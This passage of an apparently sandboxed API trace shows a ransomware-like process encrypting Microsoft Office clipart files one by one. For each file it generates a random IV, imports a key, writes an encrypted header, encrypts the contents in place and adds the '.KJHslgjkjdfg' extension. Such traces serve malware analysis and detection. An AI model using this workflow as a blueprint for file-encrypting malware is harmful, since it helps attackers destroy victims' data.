lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2576, lpOverlapped=0x0) returned 1 [0194.071] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2580, dwBufLen=0x2580 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2580) returned 1 [0194.071] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.071] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2580, lpOverlapped=0x0) returned 1 [0194.071] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.071] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.071] SetEndOfFile (hFile=0x130) returned 1 [0194.074] GetProcessHeap () returned 0x2ef0000 [0194.074] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.074] GetProcessHeap () returned 0x2ef0000 [0194.074] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.074] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.kjhslgjkjdfg")) returned 1 [0194.074] CloseHandle (hObject=0x130) returned 1 [0194.075] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3fb0f00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3fb0f00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x6ba0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00526_.WMF", cAlternateFileName="")) returned 1 [0194.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.075] GetProcessHeap () returned 0x2ef0000 [0194.075] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.075] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.075] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.075] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.075] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.075] GetProcessHeap () returned 0x2ef0000 [0194.075] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.075] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.075] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.075] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.077] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.077] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.078] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.078] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.078] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.078] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.078] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.078] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.078] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6ba0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6ba0, lpOverlapped=0x0) returned 1 [0194.079] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6ba0, dwBufLen=0x6ba0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6ba0) returned 1 [0194.079] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.080] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6ba0, lpOverlapped=0x0) returned 1 [0194.080] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.080] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6c74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.080] SetEndOfFile (hFile=0x130) returned 1 [0194.082] GetProcessHeap () returned 0x2ef0000 [0194.082] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.082] GetProcessHeap () returned 0x2ef0000 [0194.082] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.082] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.kjhslgjkjdfg")) returned 1 [0194.083] CloseHandle (hObject=0x130) returned 1 [0194.083] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20fce500, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20fce500, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x2cec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00648_.WMF", cAlternateFileName="")) returned 1 [0194.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.083] GetProcessHeap () returned 0x2ef0000 [0194.083] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.084] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.084] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.084] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.085] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.085] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.085] GetProcessHeap () returned 0x2ef0000 [0194.085] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.086] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.086] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.086] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.086] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.086] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.086] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.086] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.086] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.086] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.086] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.086] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.086] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2cec, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2cec, lpOverlapped=0x0) returned 1 [0194.087] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2cf0, dwBufLen=0x2cf0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2cf0) returned 1 [0194.087] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.087] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2cf0, lpOverlapped=0x0) returned 1 [0194.087] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.087] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2dc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.087] SetEndOfFile (hFile=0x130) returned 1 [0194.090] GetProcessHeap () returned 0x2ef0000 [0194.090] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.090] GetProcessHeap () returned 0x2ef0000 [0194.090] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.090] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.kjhslgjkjdfg")) returned 1 [0194.090] CloseHandle (hObject=0x130) returned 1 [0194.090] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeba4c700, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeba4c700, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00921_.WMF", cAlternateFileName="")) returned 1 [0194.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.091] GetProcessHeap () returned 0x2ef0000 [0194.091] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.091] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.091] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.092] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.096] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.096] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.096] GetProcessHeap () returned 0x2ef0000 [0194.096] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.096] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.096] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.096] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.096] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.096] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.096] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.096] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.096] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.096] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.097] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.097] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.097] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1138, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1138, lpOverlapped=0x0) returned 1 [0194.097] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1140, dwBufLen=0x1140 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1140) returned 1 [0194.098] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.098] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1140, lpOverlapped=0x0) returned 1 [0194.098] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.098] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.098] SetEndOfFile (hFile=0x130) returned 1 [0194.100] GetProcessHeap () returned 0x2ef0000 [0194.100] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.100] GetProcessHeap () returned 0x2ef0000 [0194.100] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.100] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.kjhslgjkjdfg")) returned 1 [0194.101] CloseHandle (hObject=0x130) returned 1 [0194.101] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74832900, ftCreationTime.dwHighDateTime=0x1bd4bf7, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74832900, ftLastWriteTime.dwHighDateTime=0x1bd4bf7, nFileSizeHigh=0x0, nFileSizeLow=0x1870, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00923_.WMF", cAlternateFileName="")) returned 1 [0194.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.101] GetProcessHeap () returned 0x2ef0000 [0194.101] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.102] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.102] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.102] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.102] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.102] GetProcessHeap () returned 0x2ef0000 [0194.102] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.102] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.102] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.102] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.103] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.103] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.103] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.103] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.103] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.104] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.104] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.104] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.104] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1870, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1870, lpOverlapped=0x0) returned 1 [0194.105] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1870, dwBufLen=0x1870 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1870) returned 1 [0194.105] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.105] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1870, lpOverlapped=0x0) returned 1 [0194.105] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.105] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.105] SetEndOfFile (hFile=0x130) returned 1 [0194.106] GetProcessHeap () returned 0x2ef0000 [0194.107] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.107] GetProcessHeap () returned 0x2ef0000 [0194.107] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.107] MoveFileW 